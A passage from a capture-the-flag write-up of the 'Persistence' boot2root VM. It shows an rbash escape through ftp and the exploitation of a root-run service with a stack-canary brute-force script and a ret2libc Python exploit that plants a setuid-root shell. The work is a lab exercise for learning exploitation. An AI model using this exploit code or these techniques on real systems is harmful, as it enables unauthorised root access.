-p -c 16 | while read line; do ping -p $line -c 1 -q 192.168.56.102; done root@kali:~# nmap 192.168.56.104 --reason -sV -p- Starting Nmap 6.46 ( http://nmap.org ) at 2014-09-18 09:46 SAST Nmap scan report for 192.168.56.104 Host is up, received reset (0.0017s latency). Not shown: 65533 filtered ports Reason: 65533 no-responses PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack OpenSSH 5.3 (protocol 2.0) 80/tcp open http syn-ack nginx 1.4.7 Service detection performed. Please report any incorrect results at http://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 6637.05 seconds Yay! SSH.\nshell and breakout as avida Using the information that looked like credentials retrieved in the previous section, I proceeded to SSH into the server:\nroot@kali:~/Desktop/persistence# ssh avida@192.168.56.104 The authenticity of host \u0026#39;192.168.56.104 (192.168.56.104)\u0026#39; can\u0026#39;t be established. RSA key fingerprint is 37:22:da:ba:ef:05:1f:77:6a:30:6f:61:56:7b:47:54. Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added \u0026#39;192.168.56.104\u0026#39; (RSA) to the list of known hosts. avida@192.168.56.104\u0026#39;s password: # dollars Last login: Thu Sep 18 05:57:30 2014 -rbash-4.1$ Op success. Or is it? I immediately noticed the prompt as rbash, aka restricted bash. :( Having a look around, I was in fact very limited to what I can do. Most annoyingly, I was unable to run commands with a / in them.\n-rbash-4.1$ /bin/bash -rbash: /bin/bash: restricted: cannot specify `/\u0026#39; in command names So the next logical step was to attempt \u0026lsquo;breaking out\u0026rsquo; of this shell so that I can have a better look around. I was able to cat say /etc/passwd, but that only gets you that far :P\nAfter quite some time and some research, it became apparent that the well known breakouts from rbash are not possible. I was unable to edit my PATH, change files and re-login or use the classic vi :shell breakout. Eventually (and out of desperation), I focussed my attention to ftp. Opening ftp, and typing help at the prompt, I studied each available command carefully. In the list was a exclamation mark(!), which I typed and pressed enter:\n-rbash-4.1$ ftp ftp\u0026gt; ! +rbash-4.1$ /bin/bash bash-4.1$ I got dropped into another rbash shell, however this time with a +. So, I went for /bin/bash and\u0026hellip; w00t? I exported a new PATH to my environment, and all of those annoying rbash restrictions were gone. Thank goodness!\nthe wopr game During the enumeration done while still stuck with rbash, I noticed that the machine was listening for connections on tcp/3333 locally when inspecting the output of netstat. Opening a telnet session to this port presented you with a \u0026lsquo;game\u0026rsquo;:\nbash-4.1$ telnet 127.0.0.1 3333 Trying 127.0.0.1... Connected to 127.0.0.1. Escape character is \u0026#39;^]\u0026#39;. [+] hello, my name is sploitable [+] would you like to play a game? \u0026gt; yes! [+] yeah, I don\u0026#39;t think so [+] bye! Connection closed by foreign host. bash-4.1$ I asked really, really nicely, but no matter how polite I was, it would just not let me play!\nFurther inspection showed that the game was possibly run as root from /usr/local/bin/wopr\nbash-4.1$ ps -ef | grep wopr root 1005 1 0 05:42 ? 00:00:00 /usr/local/bin/wopr root 1577 1005 0 06:43 ? 00:00:00 [wopr] \u0026lt;defunct\u0026gt; avida 1609 1501 0 06:47 pts/0 00:00:00 grep wopr bash-4.1$ ls -lah /usr/local/bin/wopr -rwxr-xr-x. 1 root root 7.7K Apr 28 07:43 /usr/local/bin/wopr wopr was also readable to me which was great news! I decided to get a copy of the binary onto my local Kali Linux box, and take a closer look at the internals:\n# first, hex encode the file bash-4.1$ xxd -p -c 36 /usr/local/bin/wopr 7f454c460101010000000000000000000200030001000000c08604083400000080110000 0000000034002000090028001e001b000600000034000000348004083480040820010000 [... snip ...] 38362e6765745f70635f7468756e6b2e6278006d61696e005f696e697400 bash-4.1$ # next, I copied the xxd output from the persistence terminal # and pasted it into a file called wopr.xxd. Then reverted it # and redirected the output to `wopr` root@kali:~# cat wopr.xxd | xxd -r -p \u0026gt; wopr The idea was to see if there may be a way to exploit this program so that I can execute some commands using it. It is running as root after all\u0026hellip;\nwopr, stack smashing Poking around the binary, I mostly used gdb along with peda. Checksec revealed that this binary was compiled with quite a few security features built in.\nroot@kali:~# gdb -q ./wopr Reading symbols from persistence/wopr...(no debugging symbols found)...done. gdb-peda$ checksec CANARY : ENABLED FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : Partial Digesting the above output should bring us to a few conclusions. A stack canary is present, meaning if we corrupt memory, and dont have a correct canary, the binary may terminate itself as a protection mechanism once it detects the incorrect canary. Secondly, the binary is compiled to mark the stack as non executable. Any potential shellcode that we write here will not be executed. Lastly, the GOT relocation is set to read only, meaning function locations are resolved at the beginning of execution and the GOT is then marked as read only resulting in the inability to rewrite plt type lookups.\nWith all of that in mind, I ran the binary with the r command, and made a new telnet session to it.\ngdb-peda$ r [+] bind complete [+] waiting for connections [+] logging queries to $TMPLOG [+] got a connection [New process 26936] [Inferior 2 (process 26936) exited normally] Warning: not running or target is remote gdb-peda$ When the new connection came in, a notice of a new process appears. Disassembling the main function gives us an indication that the process is doing a fork()\ngdb-peda$ disass main Dump of assembler code for function main: [.. snip ..] 0x080489fd \u0026lt;+543\u0026gt;: mov DWORD PTR [esp],0x8048cb2 0x08048a04 \u0026lt;+550\u0026gt;: call 0x804866c \u0026lt;puts@plt\u0026gt; 0x08048a09 \u0026lt;+555\u0026gt;: call 0x804867c \u0026lt;fork@plt\u0026gt; # \u0026lt;-- 0x08048a0e \u0026lt;+560\u0026gt;: test eax,eax 0x08048a10 \u0026lt;+562\u0026gt;: jne 0x8048b0e \u0026lt;main+816\u0026gt; 0x08048a16 \u0026lt;+568\u0026gt;: mov DWORD PTR [esp+0x8],0x21 0x08048a1e \u0026lt;+576\u0026gt;: mov DWORD PTR [esp+0x4],0x8048cc8 0x08048a26 \u0026lt;+584\u0026gt;: mov eax,DWORD PTR [ebp-0x22c] 0x08048a2c \u0026lt;+590\u0026gt;: mov DWORD PTR [esp],eax 0x08048a2f \u0026lt;+593\u0026gt;: call 0x804858c \u0026lt;write@plt\u0026gt; [.. snip ..] End of assembler dump. gdb-peda$ Why is the fork() so important!? We will see in a bit just hang on. :)\nSo back to fuzzing wopr, I proceeded to send some arbtritary input via the telnet session. I noticed once I had sent more than 30 characters as input, wopr would freak out! This is a good freak out btw :D\nSending 30 x A\u0026rsquo;s results in:\ngdb-peda$ [+] got a connection *** stack smashing detected ***: wopr terminated ======= Backtrace: ========= /lib/i386-linux-gnu/libc.so.6(__fortify_fail+0x40)[0xb7f5ebb0] /lib/i386-linux-gnu/libc.so.6(+0xeab6a)[0xb7f5eb6a] wopr[0x80487dc] wopr[0x8048ad6] /lib/i386-linux-gnu/libc.so.6(__libc_start_main+0xe6)[0xb7e8ae36] wopr[0x80486e1] ======= Memory map: ======== 08048000-08049000 r-xp 00000000 08:01 1184792 wopr 08049000-0804a000 r--p 00000000 08:01 1184792 wopr 0804a000-0804b000 rw-p 00001000 08:01 1184792 wopr 0804b000-0806c000 rw-p 00000000 00:00 0 [heap] b7e3b000-b7e57000 r-xp 00000000 08:01 1573598 /lib/i386-linux-gnu/libgcc_s.so.1 b7e57000-b7e58000 rw-p 0001b000 08:01 1573598 /lib/i386-linux-gnu/libgcc_s.so.1 b7e73000-b7e74000 rw-p 00000000 00:00 0 b7e74000-b7fbd000 r-xp 00000000 08:01 1580474 /lib/i386-linux-gnu/libc-2.13.so b7fbd000-b7fbe000 ---p 00149000 08:01 1580474 /lib/i386-linux-gnu/libc-2.13.so b7fbe000-b7fc0000 r--p 00149000 08:01 1580474 /lib/i386-linux-gnu/libc-2.13.so b7fc0000-b7fc1000 rw-p 0014b000 08:01 1580474 /lib/i386-linux-gnu/libc-2.13.so b7fc1000-b7fc4000 rw-p 00000000 00:00 0 b7fde000-b7fe1000 rw-p 00000000 00:00 0 b7fe1000-b7fe2000 r-xp 00000000 00:00 0 [vdso] b7fe2000-b7ffe000 r-xp 00000000 08:01 1579852 /lib/i386-linux-gnu/ld-2.13.so b7ffe000-b7fff000 r--p 0001b000 08:01 1579852 /lib/i386-linux-gnu/ld-2.13.so b7fff000-b8000000 rw-p 0001c000 08:01 1579852 /lib/i386-linux-gnu/ld-2.13.so bffdf000-c0000000 rw-p 00000000 00:00 0 [stack] So it looks like we may have a buffer overflow here. What is important though is the backtrace shows that the last fail was in __fortify_fail. __fortify_fail is normally just a error reporter, as was called because the stack cookie check failed. Remember the CANARY we detected earlier with the checksec output? With that knowledge, is almost safe to assume that byte 30 is where the stack canary starts. This means that if we want to corrupt more memory further up the stack (which is what we want actually), we need to find a way to know what the canary value is.\nBut lets not stop there. I continued to place more A\u0026rsquo;s into the input until at byte 39 I noticed 41 (hex for A) in the backtrace. By the time I had 42 A\u0026rsquo;s, the backtrace had a full 4 bytes of 41.\n[+] got a connection *** stack smashing detected ***: wopr terminated ======= Backtrace: ========= /lib/i386-linux-gnu/libc.so.6(__fortify_fail+0x40)[0xb7f5ebb0] /lib/i386-linux-gnu/libc.so.6(+0xeab6a)[0xb7f5eb6a] wopr[0x80487dc] [0x41414141] #\u0026lt;-- EIP? Was this where EIP was? With the debugging we have done thus far, lets assume that the stack layout looks something like this:\n- -\u0026gt; - -\u0026gt; [42 Bytes in Total] - -\u0026gt; - \u0026gt; [ 30 Bytes Data ] [ Cookie ] [ 4 Bytes ] [ EIP ] - -\u0026gt; - -\u0026gt; [42 Bytes in Total] - -\u0026gt; - \u0026gt; wopr - stack canary bruteforce This part of the challenge took me the second longest to nail. I have zero knowledge of stack cookies, let alone experience in bypassing them. So I had to pack out my best Google-fu abilities and learn all I can about bypassing these cookies.\nA lot was learnt here. The 3 primary resources that really helped me get the ball rolling into something workable was\n Phrack Issue 67 The Art Of ELF: Analysis and Exploitations Fusion level04 write-up (SPOILER ALERTS for another CTF)  Now, remember I mentioned fork() earlier on? From the Phrack article, we can read some interesting ideas about binaries that make use of fork() and how this affects stack cookies.\nFrom man 2 fork\u0026rsquo;s description:\nDESCRIPTION Fork() causes creation of a new process. The new process (child process) is an exact copy of the calling process (parent process) except for the following: [.. snip ..] What this means for us then is that every time we have a new fork() happen, the stack cookie will supposedly remain constant between forks as it comes from the parent. ”Soooooooo what?” I hear you say! Well, that means we can attempt to try all of the possible ASCII characters as hex, 4 times (for 4 bytes), to try and brute force this value!\nThe theory for this was great, but the practice was a different story. In order to perform a successful brute force, at the very minimum, I needed a reliable way to determine a correct and incorrect value. With my local copy of wopr, I can just watch the console output, however, I don\u0026rsquo;t have that luxury on the Persistence VM!\nWhile thinking about this problem, I started to code a little script to start the juices flowing in getting this brute force right. The basic idea was to have a nested xrange(4) -\u0026gt; xrange(255) concat the values to a variable as they are determined. While tinkering with the script and the TCP socket code, I started to realize that there may actually be a way to remotely determine a failed and successful attempt!\nWhen a string of less than 30 A\u0026rsquo;s is sent, the server will send a \u0026ldquo;[+] bye!\u0026rdquo; message before closing the socket. More than 30 A\u0026rsquo;s, and the socket is killed before the bye\nroot@kali:~# telnet 127.0.0.1 3333 Trying 127.0.0.1... Connected to 127.0.0.1. Escape character is \u0026#39;^]\u0026#39;. [+] hello, my name is sploitable [+] would you like to play a game? \u0026gt; A [+] yeah, I don\u0026#39;t think so [+] bye! # \u0026lt;-- We have a bye! Connection closed by foreign host. root@kali:~# telnet 127.0.0.1 3333 Trying 127.0.0.1... Connected to 127.0.0.1. Escape character is \u0026#39;^]\u0026#39;. [+] hello, my name is sploitable [+] would you like to play a game? \u0026gt; AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA [+] yeah, I don\u0026#39;t think so Connection closed by foreign host. # \u0026lt;-- No bye! This was perfect and exactly what was needed to complete the brute force script! All I had to do was check for the word bye in the last socket receive to know if we have succeeded or not. The resultant script was therefore:\nimport socket import sys payload = \u0026#34;A\u0026#34; * 30 # amount of bytes before the first canary bit is hit canary = \u0026#34;\u0026#34; # the canary # start the canary brute loop. We want to brute 4 bytes ... for x in xrange(1,5): # ... and try all possibilities for canary_byte in xrange(0, 256): # prepare the byte hex_byte = chr(canary_byte) # prepare the payload send = payload + canary + hex_byte print \u0026#34;[+] Trying: \u0026#39;\\\\x{0}\u0026#39; in payload \u0026#39;%s\u0026#39; (%d:%d/255)\u0026#34;.format(hex_byte.encode(\u0026#34;hex\u0026#34;)) % (send, x, canary_byte) sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((\u0026#39;127.0.0.1\u0026#39;, 3333)) # get the inital banners sock.recv(35) # [+] hello, my name is sploitable\\n sock.recv(40) # [+] would you like to play a game?\\n sock.recv(5) # \u0026gt; # send the payload sock.send(send) sock.recv(27) # [+] yeah, I don\u0026#39;t think so\\n # if we have a OK response, then we will have this last part # as \u0026#39;[+] bye!\\n\u0026#39; populated, if its wrong, not data = sock.recv(64) # [+] bye!\\n if \u0026#34;bye\u0026#34; in data: print \u0026#34;[!!] Found a possible canary value of \u0026#39;{0}\u0026#39;!\u0026#34;.format(hex_byte.encode(\u0026#34;hex\u0026#34;)) canary += hex_byte sock.close() break sock.close() # if we cant even find the first byte, we failed already if len(canary) \u0026lt;= 0: print \u0026#34;[-] Unable to even find the first bit. No luck\u0026#34; sys.exit(0) if len(canary) \u0026gt; 0: print \u0026#34;[+] Canary seems to be {0}\u0026#34;.format(canary.encode(\u0026#34;hex\u0026#34;)) else: print \u0026#34;[-] Unable to brute canary\u0026#34; An example run of this would end as follows:\n[+] Trying: \u0026#39;\\x8d\u0026#39; in payload \u0026#39;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\u0026#39; (4:141/255) [+] Trying: \u0026#39;\\x8e\u0026#39; in payload \u0026#39;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\u0026#39; (4:142/255) [+] Trying: \u0026#39;\\x8f\u0026#39; in payload \u0026#39;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\u0026#39; (4:143/255) [+] Trying: \u0026#39;\\x90\u0026#39; in payload \u0026#39;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\u0026#39; (4:144/255) [!!] Found a possible canary value of \u0026#39;90\u0026#39;! [+] Canary seems to be 00ef8d90 Winning. Just to make 100% sure I actually have the correct canary, I made another small socket program just to append the canary to the initial 30 A\u0026rsquo;s and send it. No stack smashing message appeared and we got the bye message :)\nwopr - NX and EIP If you can recall from earlier, wopr was compiled with the NX bit set. Effectively that means we can\u0026rsquo;t simply exploit this vulnerability by setting EIP to the beginning of shellcode we simply sent along with the payload as the stack is not executable. Thankfully though, there is a concept such as ret2libc.\nThe idea behind ret2libc is to steer the application flow to useful commands within libc itself, and get code execution that way. A very popular function to use is the system() command, for almost obvious reasons.\nI decided to make use of the same method. I quickly checked to see if ASLR was enabled on the Persistence VM:\nbash-4.1$ ldd /usr/local/bin/wopr linux-gate.so.1 =\u0026gt; (0xb7fff000) libc.so.6 =\u0026gt; /lib/libc.so.6 (0xb7e62000) /lib/ld-linux.so.2 (0x00110000) bash-4.1$ ldd /usr/local/bin/wopr linux-gate.so.1 =\u0026gt; (0xb7fff000) libc.so.6 =\u0026gt; /lib/libc.so.6 (0xb7e62000) /lib/ld-linux.so.2 (0x00110000) The addresses for the linked files remained static between all of the lookups, indicating that ASLR was not enabled. This makes things slightly easier. Because this is a 32bit OS though, even if it was enabled it would not have been too much of a issue :)\nThe next step was to find out where system() lived in libc. This is also a very easy step to perform. A interesting note here. GDB was using the SHELL env variable for commands, and because I have come from rbash, it was still set to that. A simple export SHELL=/bin/bash fixed it though. Also, just to be clear, I am now doing this address lookup on the Persistence VM, however I had to do exactly the same thing on the Kali VM where I was building my exploit.\nbash-4.1$ export SHELL=/bin/bash bash-4.1$ gdb -q /usr/bin/telnet Reading symbols from /usr/bin/telnet...(no debugging symbols found)...done. Missing separate debuginfos, use: debuginfo-install telnet-0.17-47.el6_3.1.i686 (gdb) b *main # set a breakpoint to stop the flow once we hit the main() func Breakpoint 1 at 0x7b90 (gdb) r # run the program Starting program: /usr/bin/telnet Breakpoint 1, 0x00117b90 in main () (gdb) p system # We hit our breakpoint, lets leak the address for system() $1 = {\u0026lt;text variable, no debug info\u0026gt;} 0xb7e56210 \u0026lt;system\u0026gt; (gdb) We find system() at 0xb7e56210. I used the telnet binary simply because it is also linked to libc.\nSo to sum up what we have so far, lets take another look at what the stack will look like now when sending our exploit payload:\n- -\u0026gt; - -\u0026gt; [42 Bytes in Total] - -\u0026gt; - \u0026gt; [ A x 30 ] [ \\xff\\xff\\xff\\xff ] [ AAAA ] [ \\x10\\x62\\xe5\\xb7 ] ^~ Initial BF ^~ Bruted cookie ^~ system() - -\u0026gt; - -\u0026gt; [42 Bytes in Total] - -\u0026gt; - \u0026gt; The address for system() is \u0026lsquo;backwards\u0026rsquo; because we are working with a little endian system. The 4 * A before the address to system() is simply padding to EIP.\nwopr - code exec This part, by far, took me the longest of the entire challenge!\nThe next step was to get actual code to execute using system(). While this may sound trivial, it has challenges of its own. One of the key things I had to realize whilst getting frustrated with this was \u0026ldquo;to remember, you are trying to make a program do what it is not intended to do, expect difficulty!\u0026rdquo;.\nI tried to put a command in a env variable and failed. I attempted to write a ROP chain and failed.\nThese failed mostly due to by own lack of understanding, tiredness and frustration. My attempts generally was to get a script /tmp/runme to run. runme was a bash script that will compile a small C shell, change ownership and set the suid bit. Yes, Persistence had gcc installed :)\n\u0026ldquo;fail\u0026rdquo; * 100000 * 100000. That is a rough guestimate of the amount of times I tried this part.\nEventually, I finally came to the realization that I may have to search for other avenues of code execution. In fact, I completely stepped away from the VM and did something else.\nReturning later with a fresh look, I run wopr through strings one more time:\nroot@kali:~/Desktop/persistence# strings wopr /lib/ld-linux.so.2 __gmon_start__ libc.so.6 _IO_stdin_used [.. snip ..] [^_] [+] yeah, I don\u0026#39;t think so socket setsockopt bind [+] bind complete listen /tmp/log # \u0026lt;\u0026lt;\u0026lt;\u0026lt;\u0026lt;\u0026lt;\u0026lt;\u0026lt;\u0026lt;\u0026lt;\u0026lt;\u0026lt;\u0026lt;\u0026lt;\u0026lt;\u0026lt;\u0026lt;\u0026lt;\u0026lt;\u0026lt;\u0026lt;\u0026lt;\u0026lt;\u0026lt;\u0026lt;\u0026lt; TMPLOG [+] waiting for connections [+] logging queries to $TMPLOG accept [+] got a connection [+] hello, my name is sploitable [+] would you like to play a game? [+] bye! See that? Can you see that\u0026hellip; We have /tmp/log RIGHT THERE!\nI confirmed that /tmp/log wasn\u0026rsquo;t actually in use, and moved my original /tmp/runme script there.\nThe only thing that was left now was to find the location of the string /tmp/log in wopr, push that to the stack, and ride the bus home. So lets do the hard work required to find this valuable piece of the puzzle:\nroot@kali:~# gdb -q ./wopr Reading symbols from wopr...(no debugging symbols found)...done. gdb-peda$ b *main Breakpoint 1 at 0x80487de gdb-peda$ r [----------------------------------registers-----------------------------------] EAX: 0xbffff4a4 --\u0026gt; 0xbffff60a (\u0026#34;wopr\u0026#34;) EBX: 0xb7fbfff4 --\u0026gt; 0x14bd7c ECX: 0x66a6f92e EDX: 0x1 ESI: 0x0 EDI: 0x0 EBP: 0xbffff478 --\u0026gt; 0x0 ESP: 0xbffff3fc --\u0026gt; 0xb7e8ae36 (\u0026lt;__libc_start_main+230\u0026gt;: mov DWORD PTR [esp],eax) EIP: 0x80487de (\u0026lt;main\u0026gt;: push ebp) EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x80487d7 \u0026lt;get_reply+99\u0026gt;: call 0x804865c \u0026lt;__stack_chk_fail@plt\u0026gt; 0x80487dc \u0026lt;get_reply+104\u0026gt;: leave 0x80487dd \u0026lt;get_reply+105\u0026gt;: ret =\u0026gt; 0x80487de \u0026lt;main\u0026gt;: push ebp 0x80487df \u0026lt;main+1\u0026gt;: mov ebp,esp 0x80487e1 \u0026lt;main+3\u0026gt;: sub esp,0x258 0x80487e7 \u0026lt;main+9\u0026gt;: mov eax,DWORD PTR [ebp+0x8] 0x80487ea \u0026lt;main+12\u0026gt;: mov DWORD PTR [ebp-0x23c],eax [------------------------------------stack-------------------------------------] 0000| 0xbffff3fc --\u0026gt; 0xb7e8ae36 (\u0026lt;__libc_start_main+230\u0026gt;: mov DWORD PTR [esp],eax) 0004| 0xbffff400 --\u0026gt; 0x1 0008| 0xbffff404 --\u0026gt; 0xbffff4a4 --\u0026gt; 0xbffff60a (\u0026#34;wopr\u0026#34;) 0012| 0xbffff408 --\u0026gt; 0xbffff4ac --\u0026gt; 0xbffff629 (\u0026#34;SSH_AGENT_PID=3171\u0026#34;) 0016| 0xbffff40c --\u0026gt; 0xb7fe08d8 --\u0026gt; 0xb7e74000 --\u0026gt; 0x464c457f 0020| 0xbffff410 --\u0026gt; 0xb7ff6821 (mov eax,DWORD PTR [ebp-0x10]) 0024| 0xbffff414 --\u0026gt; 0xffffffff 0028| 0xbffff418 --\u0026gt; 0xb7ffeff4 --\u0026gt; 0x1cf2c [------------------------------------------------------------------------------] Legend: code, data, rodata, value Breakpoint 1, 0x080487de in main () gdb-peda$ searchmem /tmp/log Searching for \u0026#39;/tmp/log\u0026#39; in: None ranges Found 2 results, display max 2 items: wopr : 0x8048c60 (\u0026#34;/tmp/log\u0026#34;) wopr : 0x8049c60 (\u0026#34;/tmp/log\u0026#34;) /tmp/log can be found in 2 places. Lets choose 0x8048c60! Now we finally have everything we need to build the payload to send.\nwopr - the exploit To sum up what we have to do to exploit this, we can say that we have to:\n Provide a string of size 30 Provide the canary we have brute forced Pad with 4 bytes Write EIP to the location of system() Provide 4 bytes of JUNK (or the location of exit() as a return) Provide the location of /tmp/log  In my exploit, as a result of the above, I would therefore send a payload similar to this:\n\u0026#34;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\u0026#34; + \u0026#34;\\xff\\xff\\xff\\xff\u0026#34; + \u0026#34;AAAA\u0026#34; + \u0026#34;\\x10\\xc2\\x16\\x00\u0026#34; + \u0026#34;JUNK\u0026#34; + \u0026#34;\\x60\\x8c\\x04\\x08\u0026#34; I finished up coding the exploit, which eventually resulted in the following:\nimport socket import sys import os payload = \u0026#34;A\u0026#34; * 30 # amount of bytes to before the canary is hit canary = \u0026#34;\u0026#34; # canary that should update as its bruted print \u0026#34;\u0026#34;\u0026#34; A: \u0026#34;So, I heard you like pain...?\u0026#34; B: \u0026#34;... a bit\u0026#34; C: \u0026#34;Well, here it is, the: \u0026#34; ____ ___ ____ _____ ____ _____ ______ ___ ____ __ ___ | \\ / _]| \\ / ___/| / ___/| | / _]| \\ / ] / _] | o ) [_ | D )( \\_ | ( \\_ | | / [_ | _ | / / / [_ | _/ _]| / \\__ | | |\\__ ||_| |_|| _]| | |/ / | _] | | | [_ | \\ / \\ | | |/ \\ | | | | [_ | | / \\_ | [_ | | | || . \\ \\ | | |\\ | | | | || | \\ || | |__| |_____||__|\\_| \\___||____|\\___| |__| |_____||__|__|\\____||_____| _____ ____ _ ___ ____ ______ / ___/| \\| | / \\| || | ( \\_ | o ) | | || | | | \\__ || _/| |___ | O || | |_| |_| / \\ || | | || || | | | \\ || | | || || | | | \\___||__| |_____| \\___/|____| |__| A: \u0026#34;AKA: FU superkojiman \u0026amp;\u0026amp; sagi- !!\u0026#34; A: \u0026#34;I also have no idea what I am doing\u0026#34; \u0026#34;\u0026#34;\u0026#34; print \u0026#34;[+] Connecting \u0026amp; starting canary brute force...\u0026#34; # start the canary brute loop. We want to brute 4 bytes ... for x in xrange(1,5): # ... and try all possibilities for canary_byte in xrange(0, 256): # prepare the byte hex_byte = chr(canary_byte) # prepare the payload send = payload + canary + hex_byte # connect and send payload sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((\u0026#39;127.0.0.1\u0026#39;, 3333)) # get the inital banners sock.recv(35) # [+] hello, my name is sploitable\\n sock.recv(40) # [+] would you like to play a game?\\n sock.recv(5) # \u0026gt; # send the payload sock.send(send) sock.recv(27) # [+] yeah, I don\u0026#39;t think so\\n # if we have a OK response, then we will have this last part # as \u0026#39;[+] bye!\\n\u0026#39; populated, if its wrong, not data = sock.recv(64) # [+] bye!\\n if \u0026#34;bye\u0026#34; in data: print \u0026#34;[+] Found a possible canary value of \u0026#39;{0}\u0026#39;!\u0026#34;.format(hex_byte.encode(\u0026#34;hex\u0026#34;)) canary += hex_byte sock.close() break sock.close() # if we cant even find the first byte, we failed already if len(canary) \u0026lt;= 0: print \u0026#34;[-] Unable to even find the first bit of the canary. No luck\u0026#34; sys.exit(0) # The canary is our ticket out of here! if len(canary) == 4: print \u0026#34;[+] Canary known as : {0}\u0026#34;.format(canary.encode(\u0026#34;hex\u0026#34;)) print \u0026#34;[+] Writing /tmp/log to be called by wopr later\u0026#34; # ./wopr has the string /tmp/log in it. We will use this as # our code exec point, overwriting whatever is in it atm stager = \u0026#34;\u0026#34;\u0026#34; #!/bin/sh # First, prepare a small C shell and move it to /tmp with name getroot echo \u0026#34;int main(void)\\n{\\nsetuid(0);\\nsystem(\\\\\u0026#34;/bin/sh\\\\\u0026#34;);\\nreturn 0;\\n}\u0026#34; \u0026gt; /tmp/getroot.c # compile it /usr/bin/gcc /tmp/getroot.c -o /tmp/getroot # change ownership and setuid /bin/chown root:root /tmp/getroot /bin/chmod 4777 /tmp/getroot \u0026#34;\u0026#34;\u0026#34; # write the file with open(\u0026#39;/tmp/log\u0026#39;,\u0026#39;w\u0026#39;) as stager_file: stager_file.write(stager) # make it executable os.chmod(\u0026#39;/tmp/log\u0026#39;, 0755) # now, with the stack canary known and the stager ready, lets corrupt # EIP and sploit! payload += canary # canary we bruted payload += \u0026#34;A\u0026#34; * 4 # padding to EIP wich is at byte 42 payload += \u0026#34;\\x10\\x62\\xe5\\xb7\u0026#34; # system() @ 0xb7e56210, NULL is ok cause memcpy(). Recheck location of system in gdb incase the sploit fails. payload += \u0026#34;JUNK\u0026#34; # JUNK. Should probably do exit() here. Meh. payload += \u0026#34;\\x60\\x8c\\x04\\x08\u0026#34; # location if /tmp/log string in .data # and connect \u0026amp;\u0026amp; send print \u0026#34;[+] Connecting to service\u0026#34; sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((\u0026#39;127.0.0.1\u0026#39;, 3333)) sock.recv(35) sock.recv(40) sock.recv(5) print \u0026#34;[+] Sending Payload\u0026#34; sock.send(payload) sock.recv(64) sock.close() print \u0026#34;[+] Done\u0026#34; print \u0026#34;[+] going to try and spawn /tmp/getroot, assuming the sploit worked :)\u0026#34; os.system(\u0026#34;/tmp/getroot\u0026#34;) else: print \u0026#34;[!] Incomplete Canary. Can\u0026#39;t continue reliably\u0026#34; # done A sample run would be:\nbash-4.1$ ls -lah /tmp/sploit.py -rw-rw-r--. 1 avida avida 4.0K Sep 18 10:33 /tmp/sploit.py bash-4.1$ python /tmp/sploit.py A: \u0026#34;So, I heard you like pain...?\u0026#34; B: \u0026#34;... a bit\u0026#34; C: \u0026#34;Well, here it is, the: \u0026#34; ____ ___ ____ _____ ____ _____ ______ ___ ____ __ ___ | \\ / _]| \\  / ___/| / ___/| | / _]| \\  / ] / _] | o ) [_ | D )( \\_ | ( \\_ | | / [_ | _ | / / / [_ | _/ _]| / \\__ | | |\\__ ||_| |_|| _]| | |/ / | _] | | | [_ | \\  / \\ | | |/ \\ | | | | [_ | | / \\_ | [_ | | | || . \\ \\  | | |\\  | | | | || | \\  || | |__| |_____||__|\\_| \\___||____|\\___| |__| |_____||__|__|\\____||_____| _____ ____ _ ___ ____ ______ / ___/| \\| | / \\| || | ( \\_ | o ) | | || | | | \\__ || _/| |___ | O || | |_| |_| / \\ || | | || || | | | \\  || | | || || | | | \\___||__| |_____| \\___/|____| |__| A: \u0026#34;AKA: FU superkojiman \u0026amp;\u0026amp; sagi- !!\u0026#34; A: \u0026#34;I also have no idea what I am doing\u0026#34; [+] Connecting \u0026amp; starting canary bruteforce... [+] Found a possible canary value of \u0026#39;64\u0026#39;! [+] Found a possible canary value of \u0026#39;d3\u0026#39;! [+] Found a possible canary value of \u0026#39;c6\u0026#39;! [+] Found a possible canary value of \u0026#39;15\u0026#39;! [+] Canary known as : 64d3c615 [+] Writing /tmp/log to be called by wopr later [+] Connecting to service [+] Sending Payload [+] Done [+] going to try and spawn /tmp/getroot, assuming the sploit worked :) sh-4.1# id uid=0(root) gid=500(avida) groups=0(root),500(avida) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 And, as proof, we cat the flag!\nsh-4.1# cat /root/flag.txt .d8888b. .d8888b. 888 d88P Y88bd88P Y88b888 888 888888 888888 888 888 888888 888888 888888888 888 888 888888 888888 888888 888 888 888888 888888 888888 Y88b 888 d88PY88b d88PY88b d88PY88b. \u0026#34;Y8888888P\u0026#34; \u0026#34;Y8888P\u0026#34; \u0026#34;Y8888P\u0026#34; \u0026#34;Y888 Congratulations!!! You have the flag! We had a great time coming up with the challenges for this boot2root, and we hope that you enjoyed overcoming them. Special thanks goes out to @VulnHub for hosting Persistence for us, and to @recrudesce for testing and providing valuable feedback! Until next time, sagi- \u0026amp; superkojiman conclusion Persistence kicked ass!! I learned a ton and that is the ultimate win. Thanks sagi- \u0026amp;\u0026amp; superkojiman for an incredible challenge! Thanks Vulnhub for the hosting and community!\nthats not all There are however a few more things I\u0026rsquo;d like to try.\n Find if and how we can root Persistence using sysadmin-tool Modify the exploit to a working ROP payload Explore other avenues to break out of rbash ","permalink":"https://leonjza.github.io/blog/2014/09/18/from-persistence/","summary":"\u003ch2 id=\"persist-we-must\"\u003epersist we must!\u003c/h2\u003e\n\u003cp\u003ePersistence! A new boot2root hosted \u003ca href=\"https://twitter.com/vulnhub\"\u003e@VulnHub\u003c/a\u003e, authored by \u003ca href=\"https://twitter.com/superkojiman\"\u003e@superkojiman\u003c/a\u003e and sagi- definitely got the attention from the community it deserves! Persistence was actually part of a \u003ca href=\"http://blog.vulnhub.com/2014/09/competition-persistence.html\"\u003ewriteup competition\u003c/a\u003e launched on September the 7th, and ran up until October th 